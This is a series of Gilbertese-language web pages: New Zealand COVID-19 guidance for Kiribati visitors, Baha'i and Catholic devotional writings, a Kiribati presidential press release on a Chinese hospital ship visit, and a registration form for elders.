Matoa ke ngkana ngkoe kaain Buritan, ao iai te aekaki ni boraraoi are kona kabanemwane n te mwaiti ni mwane are kaain Nutiran a kabanea naba ibukin aia bwainaoraki.\nAm Embatii e na kona ni buokiko\nIangoa reitakim ma am Embatii, Matan te Aba ke te Ai Kamitin ngkana ko rin n te onaoraki ke ko kainanoa aia ibuobuoki.\nTaian Embatii mai Abatera iaon Nutiran | Botaki ni Mwakuiri ibukin Reitaki ma Aban Tinaniku ao Iokinibwai (external link)\nN tain te kanganga ae e karina\nNgkana ko kainanoa te onaoraki ni waekoa, tarebonia 111 ni waekoa. Tuangiia ae iai iroum te aoraki ae te COVID-19 ngkana ko taetae ma ngaiia. Aio e kona naba n reke ngkana ko ke temanna ae ko tabeakiina iai irouna:\n- te korakai ni ikeike\n- te maraki ni bwabwa ae e korakora\n- te tong ke te aki namakinaaba.\n4. Katokakin am tai n tiku ni kaonotiko\nKo kona ni katoka am tai n tiku ni kaonotiko imwiin 7 te bong\nNgkana ko bon teimatoa naba n namakina te tuai marurung raoi, tiku n am tabo ni maeka inanon 24 te aoa ni karokoa akea kainikina iroum.\nKo aki tangiria bwa kona tataninga te kaetieti bwa ko kona katoka am tai ni kaonotiko.\nKo aki kainanoia bwa kona tuoaki - mwiin am tutuo e na kona ni kaotia ae iai manin te aoraki iroum ma tiaki nanona bwa ko kona ni kaewea te aoraki.\nNgkana ko a marurung\nImwiin are ko a marurung man te COVID-19 ao ko a kitana are ko kaonotiko n tiku, ao iai bwaai tabeua aika ko riai ni karaoi ao n tabeakini n am tai ni marurung.\nImwiin are ngkana e a tia n reke iroum te COVID-19\nImwain ae ko mwananga n okira mwengam ke ni mwananga ni karoko n tokin kawaim teuana\nTuoia ngkana ko kainanoia bwa kona anga mwiin am tutuo n te COVID-19 ae nakoraoi, ke te beeba ni kakoaua ni kamatoa ae ko a tia ni marurung imwain mwanangam. Ngkana ko a tibwa bon marurung naba man te COVID-19, ao am tutuo e kona ni kaotia ae e aki nakoraoi mwiin am am tutuo.\nNgkana e raoiroi mwiin am tutuo\nNgkana e raoiroi mwiin am tutuo ma iai iroum kanikinaean te COVID-19, tiku ni mwengam, ao manga tutuo riki ni kabongana te RAT 48 te aoa imwiina. Ngkana e a rikirake kakaiakin kanikina iroum, tareboonia te Healthline iaon:\n- 0800 358 5453 — man te nambwa n tareboon mai Nutiran\n- +64 9 358 5453 — man te SIM ae mai abatera\nE kona n reke ae nakoraoi mwiin ana tutuo te aomata ae iai manin te COVID-19 irouna imwiin ana tutuo n te RAT. E kona n riki aio ibukina bwa e rangi ni karako mwaitin te manaoraki n te bwai n tutuo, ke ibukina bwa te tutuo e aki karaoaki raoi n etina.\nLast updated: at","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/travel\/if-you-develop-covid-19-symptoms-while-visiting-new-zealand\/","date":"2023-05-28T00:07:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643388.45\/warc\/CC-MAIN-20230527223515-20230528013515-00543.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2073,"character_repetition_ratio":0.068,"word_repetition_ratio":0.019,"special_characters_ratio":0.223,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NATIN TE MOTIRAOI O!\nTe tabo ra are e na nako iai te tia tangira ma bon nakon te tabo are e mena iai ana tangira? ao teraa ae e kunea te tia ukeuke n nanona are e tangiria? Iroun te tia tangira ni koaua te manga bootaki bon te maiu, ao te karaureaki nako bon te mate. Bon akea te taotaonakinnano ni bwanibwanna ao akea te rau i nanona. E na bon kitan maiu aika bati ao ni kawaekoa nakon te tabo are e mena iai ana tangira.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.bahaiprayers.io\/prayer?id=180403050&to=gil","date":"2023-06-09T18:41:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224656788.77\/warc\/CC-MAIN-20230609164851-20230609194851-00344.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":89,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke e a manga nako naba te ianena ao e roko nanou n takarua ao I a manga nora naba te ota are ruo iaora n aekan are e kaoti n te moan tai imain warekan ana taeka Te Uea. E teimatoa korakoran n bana n takarua ni ianena imwin te Ota arei ao e takarua n tang kain te kainaomataki temanna ao e wakinako te tang mai iriana ae te nebonebo n tatakarua ni ianena. I kaurea matau ao I tararake n tara Iesu are e tine iai mani karaba n te ota are I a manga noria kaua n tain te katoka bai. Tariu ma maneu e mimitong te bong e bon rangi ni kamaiu aron te tibatiba imuina n te maneaba. I tabe n ongongora n tekateka man aki tibaia ba e rawata te tibatiba ma te tekennano n te bong anne. E raba Te Uea n ana Tangira aika kamimi ao n ana karea Te Tamnei ae Raoiroi nakoira n tatabemanira. E rabwa Te Uea ae Iesu.\nTiema Taraa, Tearaereke Parish, Tarawa, 2010","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/27-e-bia-tangiraki-n-tabo-ni-bane-atinibani-iesu-ae-moan-te-tabu","date":"2023-06-05T02:53:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00676.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":176,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nna manga tiba naba ngkai ana tangira te Uea nakoimi are E anganai inanon ara tai n nebonebo ni katituaraoi ba kanoan ara waaki n St Padre Pio ni karinea aia toa tarira ma manera ake a bon tia anganaki te tokanikai inanon te kimarerei i Karawa n te tabati are Aia Toa Kain Karawa. I rangin tauraoi ni koaua ba Nna neboa te Uea n te bong anne ao ibukin nanou ni katauraoai raoi ao Ia kaman namakina te kaokoro n au taratara ao I bubutia Iesu ba E na na nanoangai ao ni kaota moa natiu nakoiu ba I rangi ni kan noria n aia Toa kain karawa n te ririki aio ba are e a bon koro teuana ana ririki ni kitanira ao I a kan noria n arona ni kukurei ma kain karawa n akea marakina irabatana n aron are i tataneiai iai n noria inanon ana tai ni maeu irarikira. Inanon te tutia n te ingabong anne ao e bon taonai te tang ae bati ngke I a kaitibo ma Rabatan Iesu ba I ataia ba anne te amarake are bon kanaia kain karawa ni katekeraoa aia bong anne. I kakaea Barry nakon Iesu ma e bon aki te roko ni kaotia nakoiu n te ingabong anne. E bara te tutia ao I aki bara n nano ni bubutia Iesu ba E na bon kaota natiu inanon te ngaina anne.\nBoton te karaki\nImain warekan ae imuina ao I a bubutiko ngkoe ae ko tabe ni wareware ba ko na karekea iroum te iango ae ko na bubutia Iesu ba Ena nanoangaiko ao E na anganiko te nano ae maraurau ni butimaea ana kamaiu nakoim inanon warekan te karaki ae ae ko nang tauraoi n ongora.... E Raba te Uea!!!!!\nInanon te bakantaai anne ao akea ba ti a bane n tauraoi ni kabane ma kain ara botaki ba ti na nebonebo ma are bon iai angin te bong anne ba are ai bon te reitaki ni koaua ma kain karawa n neboa aran Iesu are E a tia ni katabwena aia Toa kain Karawa, ngkai boni Ngaia are E a tia ni mate ao ni maraki iaon ana kaibangaki ao E a tia n tokanikai ao n tekateka i angatain Tamana i Karawa.Te kamimi inanon te tai aio ba e tuai waki te nebonebo ma ngai I a kaman tang ao n uruaki kakaiaki n te aro ae I a bon namakina ana nanoanga te Uea nakoiu ibukin anganakiu te maiu ae boou ao ai tera arou ba Nna kateimatoai iai ni koaua ba I aonga ni kona n roko Irouna neboia ma kain Karawa n aron ae ti karaoia iaon te aba. I main raoi te nebonebo ao I a tabeka te kuna are \"E weteai Iesu ba Nna Iria\" ma imain anne ao Uriam e tuatua naba nakoia ara koraki ba e na bon weteaki Iesu raoi ni kaomataki ni koaua ao E na kaoaki man te Umantabu are 2 te miniti raroana ma ana auti Uriam. Ai ngaia are e a bubutia ara koraki Uriam ba a na kamawa kawain Iesu ngkana E roko imatan te mataroa Iesu ba E na mananga man te Ukari man te umantabu ao ni kawarira n te auti. I a tabeka te kuuna arei ma ai bon te kamimi nakon au namakin n au taratara ba I a noora te bai ae e a rangin riaon au kantaninga ba I a nora moa te ota ae e otanakoa mai matau ao imuina I a rinnako inanon te Uamantabu are e weteaki Iesu mai iai. I bon nora Iesu ni koaua are e a butimaeaki ni kaotinakoaki man te Ukari iroun ingoan ara botaki are St Padre Pio ao man tauaki baina ni karokoaki i tinanikun te Umantabu ao ni butimwaeaki iroun St Mikaere te Akaanera n tauraoi ni kairaki nakon te tabo are ti botaki iai. Ngke E otinako Iesu man te Umantabu ao I a noria aomata aika ake a rangin bati maitia ni bwereina kawain Iesu ma kunikaia te kamarai ae mainaina. I kona n ongo tangin te aoti (horse) ao tangin naba aia bare (belt) tautia ake a kaina ana baronga n tautia St Mikaere. Bon iai naba te boi ae kaokoro boina irou n te tai anne are kanga ai aron boin te roti e rangin boiarara. A bon rangi ni bati riki namakin I a mena inanona n te tai anne ma I kubanako ba inanon ana tai Iesu ni katauraoaki imain manangana ao e a kanakoa naba baina Iesu nakoia te koraki aika a rangin bati ake a b'ai mainaina ao e a katika bain te teinimane are I a kaman tataro ni bubuti ba e na kaotia nakoiu n te bong anne are e a taua bain Barry ao man kateia i moana ba ngaia ae e na kairia nakon te tabo are ti nebonebo iai. Ngke E a roko Iesu i matan te auti are ti nebonbeo iai ma raona are Barry ao kanga I bon aki waekoa ni kiina natiu B are I a tia n rangin tataneiai n nonoria ni kainnano ngkoa ma moana aika rawawatau ma ai bon te kamimi n te tai aio ao e a rangi n toka ribana ao ni botonim'ane ma ana kamarai ae mainaina n taua bain te Tia kamaiu nakon ara tabo nebonebo.\nI nora natiu ni bon karokoa Iesu i buakora n te tai anne ao I a bon rangi ni karabaraba n ana tangira te Uea nakoiu ngkai E a tia ni kaeka au bubuti ao man katauai ba Nna manga kona n noora matan natiu n te bong anne n aron are I a tia ni butia iai. E maunanko au taratara ao i a riki ba temanna te aomata ae i tatakarua neboa te Uea n te bong anne ma nanou ni koaua ma nanou ae eitiaki nakoina. Amen. E rangin raraba te Uea n ana tangira nakoira!!!!!!\nIan Namakin. St Patre Pio, Suva","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/33-e-wewetea-arau-iesu-makoro-3","date":"2023-06-05T04:16:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00799.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":999,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ma irou ngkanne e a bon taonai te nanokawaki ae moan te korakora riki n aron au kaeka are I angan neiei are I kamatoa n taku ba \"akea Iesu n te bane are e tatabekaki rake iroun te Tama\". E riki ba aki raun ao rawawatan nanou ao I motika nanou ba N na bubutia Tinara Nei Maria ba e na uota au kabara bure nakon Natina ao e na buokai ni kanenea au onimaki man onimakina Natina ae E bon maeka ian katotongan te bane ma te wain.\nN ingabong te bong ae te Kabong 27 ni Meei ao I karaoa au korona (au moti n nano nakon Uean Meei) man kabureai nakon ana kairiri Nei Maria inanon te bong anne ao man kauringnga riki au bubuti are e na bon bubuokai ni kaotai riki ibukin onikakin te bane ma te wain. I ataia ba ngke I a motika au korona ao I namakina te wirikiriki mai iroun Tinau Nei Maria are e taku iai nakoiu ba e raoiroi ae N na karaoa au novena nakon Corpus Christi. I ataia naba ae e a kaan roko te toa aei. E bon titiraki nanou man taku \"ba bon iai naba te novena nakon Rabatan ao Raran Iesu?\" I tara au tamnei iaon au o are bon tamnein Iesu ao Nei Maria ake a kaoti Atinibaniia. I tataro man kangai nakoia \"Most Sacred Heartof Jesus, Immaculate Heart of Mary buokai reireinai te novena aei\" ao I teirake man nako ni katauraoai ibukin au makuri ao man ienikuria natiu ba a na katauraoia ibukin te reirei.\nN rokou n au tabo ni makuri ao I a tuoa au meeri n te kombiuta. Ibuakon au meeri ao bon iai au meeri mai iroun au itoman temanna are e buobuokai n au titiraki ibukin kan kaotakiu riki n taekan te aro. I a bon rangi ni kukurei ba n tokin ana meeri ao e a karina ae e kangai:\n\"Beneteta , Your Novena of the Week: Short Novena for Corpus Christi:\nO Lord Jesus Christ, You who have given us Your Precious Body and Blood\nto be our meat and drink, grant that through frequent reception of You in\nthe Holy Eucharist, I may be strengthened in mind and body to do Your holy\nwill. Amen. Jesus in the Blessed Sacrament, have mercy on us.\"\nE bati n raba te Uea ao ngaia are I a botai ma natiu n te tairiki anne ao man atonga ara novena aio ba ara katauraoi imwain te toa ae Rabatan ma Raraan Iesu. Irian ara katauraoi aei ao ti bon motikia ba ti na katoa bong n ira te Tutia. I namakina au tangira ibukin kawaran te Tutia man miiakina aron kanoana mai moana ni karokoa tokina ma n ataia ba nanou n tain te Tutia ai bon tiaki aron are mai imaina. I kunea ba Nna riai n rin n te tutia ma nanou ni koaua n atongi makoro ake au kaekaeka nakon te Tama are ngkekei I taku ba ngkana I aki kan atongnga ba a atongnga naba aomata ao e a tau naba. N taai tabetai ao I ataia are e a bon waaki te Tutia iaon Suva I Biti ao ngai I a bon tabe ni mii ao I a rokoroko i Tarawa ke i abau are Abaiang ke au kaawa are Tebero!!!! Iai ae e katotongai n tabetai? I karaba te Uea ba ai tiaki arou aei ngkai.\nAua te bong imwiin te bong aei ao inanon au tabo ni makuri akea ba e tuai kan bo te katawanou ao ngai I a tekateka n au taibora man rinanon ae I a rawa moa ni makuri. Kanga I taku ba I a rangi ni kan nako n te Tutia ma I ataia ae Nna tataninga riki ba are ti kakaea are n te tairiki te aoa 6 pm. I bon namakina naba ae kanga I a rangi ni ingainga nakon te bai teuana. I a manga nakon au kombiuta ao man tuoa riki au meeri. I noria ae iai au meeri mai iroun Uriam Timiti ao I ataia ae ibukin te botaki n te charismatic. I nako iai ao angin te ingainga n nano are I bon namakinna naba. N te meeri aei ao ai bon ana rongorongo Uriam ibukin te site are e na reke iai te tamnei ane e toka ngkai iaon ana website te kccrs ae bon tamnein te Eukari.\nNgke I kaukia ao man mataku iai ao ai kamira I a bon taku ba e bure tein te tamnei ba e rarikiriki ao I taku naba ba te bane anne e mena n ubun te kai n rawe tamnei are ko kona n kaniia ao ni kakenakoa. I taraia ao I taku ba anne ae e riki ae e titiburake iai te bane ibukina ba e kakerakeaki ao e manga kakerikakaki. I a bon miakina are e a titiburake ao man oki rikaaki te bane arei ao I namakina kanoan matau ba a bon minomino n te aro ae I a aki kona n katokia. Ranin matau a bon tinako n rangi ni maiti ao I taku ba e kangai te wirikiriki \"I am cleansing all the impurities in your eyes…\" ma I a bon tiku inanon te tai ae maan man namakina te ran are e a bon baro nako ni maiti.\nI a kaoa ranin matau man katurua au taratara nakon te bane are e mena n te Eukari ao aio au noraaba. I ataia ba I nora te buro ae bon te buroo ma kanga te kai n otinako mai iai ae irou ngai I taku ba taraan te kai ni mooi are te (straw). Ngke I titiraki I bon irou ba tera te bai arei ao I uringa te taeka n au reirei n te biology are te aorta ao I ataia ae I kangai \"aia\". Te buro ae I taraia aio ao e bon ikeike ba e reita nako norakin te bane are kanga e mena n ubun te kai n rawe tamnei are e kerake ao e manga kerikaki. Te maingiing aio are e bon manga iria te buroo aio ao are e a kaotia iai ba e bon ikeike.\nN au tai ni miiakina te buro aio ao akea ba I a kareaki n titiraki aikai are I uringnga ba bon titiraki aika a tibaaki iroun Uriam ngkoa inanon ara tai n nebonebo teuana. Titiraki aika: antai ngkoe? Ko mananga mai ia ao ko na aera? Inanon au kainababu ao I kauringaki karakinan neiere nei Hagar ao natina are Ishmael are e nako n te rereua ba e birinako mai iroun nei Sarah are bon buun raoi Aberam. N te tai naba aei ao I uringa au kaeka are I tibaia n te tai are e anganira titiraki aikai Uriam. Au kaeka ngkoa ao I taku ba \"ngai nei Beneteta ae natin ten Raobati ao nei Biromina ao bon kain Abaiang ngai ngaia are I roko mai ikanne ao n na nako n rimwin au heritage are e taku Iesu ba e na katauraoia imwaiu!!!\"\nE na bakara au bui n au kaeka n anne ke? Ma I ataia ba au kaeka n te tai aei e a bon kaokoro ba e a bon buokai iai Iesu are n te Eukari are I miakinna n te tai aei. Au kaeka ngkai e kangai; \"Ngai bon nei Beneteta ae natin te Atua, ao e ngae ngke iai au karo ma I bon roko mai iroun te Atua ba Ngaia ae e karikai ao e kariaia ba Nna maeu ba iai bukin karokoau ikai ba Nna bon ira neboakina ikai iaon te aba ba bon ti Ngaia ae E na riai n neboaki n aki toki ao eng ni manangau aio ma au kekeiaki rinanon neneboana ma kairaia riki tabeman ba a na ira neboakina ao n te taina Nna manga roko Irouna ni maeka ma Ngaia ma raou aikai ae ngkami ni kabane n mwengara are E a tia ni katauroaia imaira.\" E raba te Uea ba aio rikiraken au kaeka Nakoina man are mai imaina ao I aki nanououa iai ba e bon kakairirai n ana Tangira ae e aki tiatianaki.\nInanon naba te tai aio ao e bon anganai riki titiraki ae a kangai: \"Tera ae ko a tia ni karaoia ibukin Iesu, Tera ae ko na karaoia ibukin Iesu ao Tera ae ko na karaoia n ingabong ke te tai ae e na roko ibukin Iesu?\" Tariu ao maneu e a uruanaki naba au kainabaabu aio man aki reke au tai ni kaeka ba e a rebwerebwe naba au kombiuta ba iai ae e kan taetae ma ngai n te 'chat on line'. Ngke I taraia ba antai ae e kan maroro ma ngai n te kombiuta ao bon natiu te ataeinaine ae Nei Karina are e a korea ana rongorongo nakoiu ae e kangai: \"Mummy, ko aki kan nanoangai ba I a bon taonaki n te maraki.\"\nImuin au reitaki ma natiu n tuanga ba e na noora ao n tataro nakon tamein Iesu n te Eukari are e kabutia Uriam n te email ao ea kangoai natiu ba e kamaeua man aorakina Iesu ae maiu n te Eukari.\nI a reitaki ma ngaia ao n te tai aei ao I a kanakoa ngkanne nakon natiu ae Nei Karina ba e na tiba aron kamaeuana ma ngkami. Au tataro ba E na kaoni nanomi Iesu are e mamaeka n te Eukari n te uki n nano ao te tauraoi ni butimaea ana rongorongo ae e tataningai ngkami n taai nakon te Eukari. Amen.\nBeneteta Raobati, St Padre Pio, Suva, 2010","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/26-ana-tangira-iesu-n-te-eukari","date":"2023-06-05T02:23:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00695.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1609,"character_repetition_ratio":0.04,"word_repetition_ratio":0.001,"special_characters_ratio":0.23,"stopwords_ratio":0.376,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti bane n uringa n te bong aio Santa Monica are tinan Santo Augustine. E rangi ni kakanato te tina aio ibukin korakoran ana onimaki n tataro ibukin natina ae Aukitino ba e na rairaki maiuna nakon te Uea. E ngae ngke e aki kaekaekaki ana tataro ni bubuti i nanon ririki aika bati ao e bon aki bara nanon te tina aio ni karokoa ae e a kaekaki ana bubuti ba e raira nanona natina ae Aukitino; e riki ba te Tama ao imuina e te tia reirei ae kakannato man rabakau. Ibukin rianakon wanawanana ao e a tia te Ekaretia n tabekia nakon aia baonikarea aika a tabu n riki ba te Santo ao ni karikaki naba ba Taokitan te Ekaretia.\nTe reirei ae kakawaki ikai ba ti na riai ni kakatotonga Santa Monica n onimakina te Atua ba E tauraoi ni kaekai ara buburti n taai nako ao ba E na bon kaekaira n aron ae E ataia ba te kabanea n tamaroa ibukira. E taku te taeka n rabakau teuana ba ngaira aomata ti bon ti kona n nora are i tabon bairira; ma te Atua bon akea tokin ana taratara ao Ngaia ae te Atua ae kariki baai ni kabane ti bon aki kona n rota wanawanana ma makana. Ngaia are e bon riai n taai nako ba ti na onimaki ngkana ti bubuti ao n tauraoi ni muiokoi arora ma kainnanora ni kabane i nanon bain te Uea.\nTeuana naba te bai ae reireinira Santa Monica ba bon ti ara bai ngaira aomata te tataro ni bubuti ao bon ana bai te Atua te kamaiu ma te rairannano. Bon aio naba te reirei ae kakawaki iroura ngaira kain te botaki n tataro ibukia aoraki ba n tabetai ao ngkana ti tataro ibukin te aoraki ao akea ara kantaninga ba ti reken te marurung iroun te aoraki ao n tabetai ti kona ni marara ngkana e aki marurung ara aoraki. Ti riai ni kawakinira n taai nako ba t i na aki roko n ana maake te Atua ma ti na teimatoa n ara onimaki ni bubuti ma te aki barannanno.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/72-tai-barannano-n-tataro-ma-onimaki","date":"2023-06-05T02:42:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00664.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":356,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tibatiba: Boni Ngkoe korakorau n te maiu aio ba Nna roro nako n te maiu ae akea tokina\nBoni ngai te aomata ae I korakoraki iroum n te maiu aio ba N na kona ni kaitarai kanganga nako ba I aonga ni kona n roronako inanon te kawai ae uarereke mani wariki nakon te tokanikai ao te kabaia ae akea tokina, ike akea te bai ae kona n tukai ke ni kabaeai ba Nna aki kona n otinako ni karekea te maiu are mairoum. Man te korakora are ko anganai ao I karekea mai iai te kawai ae uarereke are kona ni karokoai inanon te tokanikai ma te kabaia ae akea tiana ma tokina. Eng, bon am karatia ae Ko anganai ae anganai te kona n tokanikai.\nBon inanon am kantaninga te Uea ibukiu ba Nna bitaki nakon kakaraoan Nanom ae ngaia I kona ni inaomata iai ni kanakoaki inanon te tai ae akea tokina ao Nna karekea te bitaki ao te onikaki nakon te maiu ae akea tokina.Ba e na bitaki te aro ni mamate nakon te maiu ae totoki.\nTi riai ni bane n ataia ba ngkana ti kitana te maiu aio ao ti toua te kawai nakon te kamoamoaki ke te kabuakakaki ba aio bon te bai ae baireia te aomata ae maiu ngkai ma bon tiaki Nanon te Uea. Ba irouia aika maiu ngkai ao bon akea aia atatai ba tera ae riki nakoia nakon tai aika a na roko imuin mateia. Ao ai uana naba ma akana a na maiu imuia. Ba te tamnei ae a tia ni mate bon akea te bai ae na ataia irouia aomata akana maiu. Ba te tamnei ae mate ao te aomata ae maiu a bon maenako n aki ata te bai ae na riki nakoia. Ti bon riai ngaira aika ti maiu ba ti na rineia ba te kawai ae ti kan toua ngkai ao tin a oimakina te Uea ba E na anganira te korakora ni kona roronako inanon te kawai ae irariki n te maiu aei ba ti aonga ni kona n roronako nakon te maiu ae akea tokina i Karawa.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1782-boni-ngkoe-korakorau-n-te-maiu-aio-ba-nna-roro-nako-n-te-maiu-ae-akea-tokina-i-karawa","date":"2023-06-05T02:13:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00692.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":355,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.389,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A na Katairiki ni kaitiboo Beretitenti Taneti Maamau ma kaain te Ark Peace Hospital mai Tiaina\n(Bairiki, Tarawa, Wednesday, 19 n Turai 2023)-------E karaoa ana botaki ni katairiki ni kaitiboo ao ni kakaitau te Tautaeka ma kaain ana kaibuke n onaoraki te Tautaeka n Tiaina n te State Guest House i Bairiki n te tairiki aei.\nE roko i Kiribati ana kaibuke n onaoraki Tiaina ae te Ake n Raoi ke Ark Peace Hospital n te Kaonobong ae 15 bongin Turai 2023 ao ni beibeti n te matabaiawa i Betio ibukin karaoan ana mwakuri n ibuobuoki nakoia kaain Kiribati ake iai aorakiia inanon te maan ae teuana te wiiki.\nA na Kaitairiki te Tautaeka ae e karaoia aei e bon kaota iai aron kinaakin aia mwakuri n ibuobuoki aika a rangi ni kakawaki ibukin kateimatoan marurungiia kaain Kiribati man aia ibuobuoki are a waakinna. Te ibuobuoki aei e bon rangi ni kaineti ma ana waaki te Tautaeka ni kakoroa nanon ana kataratara ae 20 te ririki bwa e na riki Kiribati bwa te aba ae a marurung raoi kaaina.\nN ana marooro are e anga n tain te botaki ae e kakawaki aei ao e bon anga bwanaana ni kakaitau Beretitenti Taneti Maamau nakon ana tiim n ibuobuoki te Tautaeka n Tiaina aio are e a tia ngkai ni buokiia e raka iaon 2 te ngaa mwaitiia aoraki inanon aua te bong n nako. E katerea naba bwa te ibuobuoki aei bon kanikinaean te reitaki ae e rangi n tamaroa man teimatoa imarenan Kiribati ao Tiaina.\nE bon anga naba ana kakatekeraoi Beretitenti Taneti Maamau nakoia kaain te tiim n ibuobuoki aei inanon reitakinakoan riki aia mwakuri n ibuobuoki ae akea boona iaon Kiribati ao inanon naba te tai are a karairaki iai n te Kaonobong aei.\n-----------------------\nThe Government of Kiribati is hosting its State Dinner Reception this evening in honour of welcoming the medical team and crew of the Chinese Ark Peace Navy Hospital at the State Guest House.\nThe Ark Peace Hospital came to Kiribati on Saturday 15th of July 2023 on a tour mission to provide its one-week humanitarian assistance to the people of Kiribati.\nThe reception is held to demonstrate the Government's dedication to acknowledge and respect the tremendous contribution and invaluable humanitarian assistance of the Ark Peace Hospital to the people of Kiribati which really aligns well with the Government's Kiribati Vision for 20 years to make Kiribati a healthy nation.\nIn his keynote address, H.E President Taneti Maamau extends his deepest gratitude and heartfelt appreciation to the crew and medical team of the Ark Peace Hospital for their tireless efforts to assist over 2 thousand patients for the last four days. This humanitarian assistance really demonstrates the very warm and enduring bilateral relation between Kiribati and China.\nH.E President Taneti Maamau commended the Ark Peace Hospital team and wished them the best of luck while continuing their mission in Kiribati and upon their departure this coming Saturday.\n###\nFor more info, contact:\nCommunications& PR Unit, Office of The President, P.O Box 68, Bairiki, Tarawa, Republic of Kiribati\nTel: +686-75021183, Fax: +686-75021466, Mobile: +686-73026636; E-mail: This email address is being protected from spambots. You need JavaScript enabled to view it.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.president.gov.ki\/news\/106-a-na-katairiki-ni-kaitiboo-beretitenti-taneti-maamau-ma-kaain-te-ark-peace-hospital-mai-tiaina-2.html","date":"2023-09-24T23:34:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506669.96\/warc\/CC-MAIN-20230924223409-20230925013409-00027.warc.gz","language":"gil","language_score":0.9992653728,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9992653727531433}","num_words":522,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.23,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TAMNEIN TE KARA AO KAKOAUAN KINAAKINA NTE TUA Tamnein te Kara One file only.10 MB limit.Allowed types: gif, jpg, jpeg, png. National ID KE Original Birth Certificate Copy One file only.10 MB limit.Allowed types: jpg, jpeg, png, pdf. Bongin Namwakaina (Ngkai) RONGORONGON TE KARA Aran te kara Aran tinana Abana Ana tabo ae memena iai Bong ni bung Namba n tareboon Mwane\/Aine - Select -MwaneAine Tomau\/Mwauku - Select -MwaukuToamau RONGORONGON ANA UTU TE KARA BUUN TE KARA Arana Aran tamana Aran tinana Ana tabo ae memena iai Abana Namba n tareboon Maiu\/Mate - Select -MaiuMate E Toamau ke e Mwauku buum - Select -MwaukuToamauN\/A NATIN TE KARA Mwaitia natina Mwaitia ake a maiu Araia Aia tabo ni maeka TARIN KE MWANEN TE KARA Araia ake a maiu Aine ke Mwane Ririki ni Maiu Aia Tabo ni Maeka - None -MwaneAine - None -MwaneAine - None -MwaneAine - None -MwaneAine - None -MwaneAine CHECKLIST Tamnein te kara Kakoauan kinakin te kara n te tua (Long Birth Certificate OR Scanned National ID Card) KAKOUAUA I kakouaua ngai ae te tia 